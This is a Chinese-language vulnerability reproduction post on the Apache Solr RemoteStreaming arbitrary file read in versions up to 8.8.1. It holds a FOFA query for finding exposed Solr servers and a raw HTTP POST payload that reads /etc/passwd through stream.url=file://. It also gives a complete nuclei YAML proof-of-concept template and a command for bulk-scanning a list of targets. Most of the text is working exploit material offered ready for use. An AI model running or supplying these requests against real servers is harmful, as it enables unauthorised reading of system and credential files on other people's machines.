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漏洞复现 Apache Solr RemoteStreaming 任意文件读取
0x01 阅读须知
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0x02 漏洞描述
ApacheSolr是一个功能强大的开源搜索服务器,它支持REST风格API。在ApacheSolr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成任意文件读取。
0x03 漏洞复现
漏洞影响: Apache Solr <= 8.8.1
FOFA:app=”APACHE-Solr”
1.抓包并修改payload,即可任意读取/etc/passwd
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: x.x.x.x:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd
2.nuclei漏洞脚本如下(nuclei稳定快,编写poc简单,有社区维护,推荐使用)
nuclei下载地址:https://github.com/projectdiscovery/nuclei
批量验证命令:
nuclei.exe -l subs.txt -t solr-ContentStreams.yaml
yaml POC:
id: solr-ContentStreams
info:
name: solr-ContentStreams-Fileread
author: sm
severity: high
description: |
solr-ContentStreams-Fileread
reference:
- https://blog.csdn.net/sycamorelg/article/details/120706240
tags: Apache Solr
requests:
- raw:
- |
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd
matchers-condition: and
matchers:
- type: word
words:
- \"root\"
- \"solr:x\"
condition: and
- type: status
status:
- 200
THE END
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